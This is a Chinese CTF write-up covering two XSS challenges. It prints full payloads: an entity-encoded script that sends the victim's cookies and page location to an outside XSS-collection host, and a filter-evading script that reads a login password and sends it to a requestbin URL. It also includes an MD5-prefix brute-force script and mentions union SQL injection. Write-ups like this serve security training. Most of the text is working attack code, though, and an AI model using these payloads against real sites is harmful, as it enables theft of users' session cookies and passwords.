XSS
[CISCN2019 华东北赛区]Web2
题目要求用管理员登录,又有评论页面,还能强制让管理员阅读,这不是xss还能是什么。
直接提交存在过滤,可以用Markup绕过
在xss平台中生成payload,经编码后传入,(脚本来自末初)。
xss='''(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=arHAGx&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();'''
output = ""
for c in xss:
output += "&#" + str(ord(c))
print("<svg><script>eval("" + output + "")</script>")
又是生成特定md5,
import hashlib
def func(md5_val):
for x in range(999999, 100000000):
md5_value=hashlib.md5(str(x)).hexdigest()
if md5_value[:6]==md5_val:
return str(x)
if __name__ == '__main__':
print func('b76301')
进入后发现存在联合注入,没过滤直接打就行了。
[GWCTF 2019]mypassword
发现login.js,会直接把username和password放在表单里直接提交,那xss就完了。
在feedback中发现提交框,注释中标明了black_list,但只是替换为空那就相当于没有了。
这里用这个网站收集信息。
payload:
<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
var psw = docucookiement.getcookieElementsByName("password")[0].value;
docucookiement.locacookietion="http://http.requestbin.buuoj.cn/1e8jfct1/?a="+psw;
</scrcookieipt>